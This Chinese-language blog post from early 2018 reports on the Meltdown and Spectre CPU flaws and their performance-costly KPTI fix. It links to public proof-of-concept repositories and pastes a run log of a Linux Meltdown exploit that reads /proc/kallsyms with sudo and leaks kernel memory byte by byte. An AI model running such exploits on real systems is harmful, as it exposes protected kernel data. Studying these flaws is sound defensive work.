目前研究人员正抓紧检查 Linux 内核的安全问题,与此同时,微软也预计将在本月补丁日公开介绍 Windows 操作系统的相关变更。
而 Linux 和 Windows 系统的这些更新势必会对 Intel 的产品线造成冲击,预计可能会出现 5% 到 30% 的性能下降,具体还和处理器型号有关。
苹果的 macOS 也将需要进行更新,此缺陷也影响 Intel x86-64 的硬件,并且通过 microcode 更新无法解决此问题,必须是在系统级别的软件中进行修复,或者购买新的处理器。
过去十多年中生产的处理器都受到了影响,漏洞允许普通的 ring3 层应用(从数据库应用到 Web 浏览器)在一定程度上识别受到保护的内核空间布局。
而解决方法则是使用所谓的内核页表隔离机制(KPTI)将内核空间与用户进程完全分开,也就是将内核移入一个完全独立的地址空间,因此设备的运行速度将会大幅减慢。
影响CPU如上图所示
国外一小哥自己已经测试了
目前来,真正利用的exp并未公布
下面附上一个win的poc,可信度请自测。
poc:https://github.com/turbo/KPTI-PoC-Collection
具体来说,这次是爆出两个漏洞。
刚找到个spectre的利用poc:https://github.com/Eugnis/spectre-attack
paper中给出了JS利用思路
paper地址:https://spectreattack.com/
下载其中的PDF查看就行。
spectre中JS的利用思路如下
但因js的危害太大,连poc都不敢放出来
最新更新(2018年1月5日16:46:01)
附上Linux的利用exp:https://github.com/paboldin/meltdown-exploit
$ make
cc -O0 -c -o meltdown.o meltdown.c
cc meltdown.o -o meltdown
$ ./run.sh
+ sudo awk /linux_proc_banner/ { print $ } /proc/kallsyms
+ ./meltdown ffffffffa3e000a0
ffffffffa3e000a0 = %
ffffffffa3e000a1 = s
ffffffffa3e000a2 =
ffffffffa3e000a3 = v
ffffffffa3e000a4 = e
ffffffffa3e000a5 = r
ffffffffa3e000a6 = s
ffffffffa3e000a7 = )
ffffffffa3e000a8 = o
ffffffffa3e000a9 = f
ffffffffa3e000aa =
ffffffffa3e000ab =
ffffffffa3e000ac = s
ffffffffa3e000ad =
ffffffffa3e000ae = (
ffffffffa3e000af = b
ffffffffa3e000b0 = U
ffffffffa3e000b1 = i
ffffffffa3e000b2 = l
ffffffffa3e000b3 = d
ffffffffa3e000b4 = d
ffffffffa3e000b5 = @
windows的poc执行截图:
切记,windows代码编译时用vs2012以上的版本,64位的机器
参考原文:
https://www.theregister.co.uk/2018/01/02/intel_cpu_design_flaw/
https://www.zhihu.com/question/265012502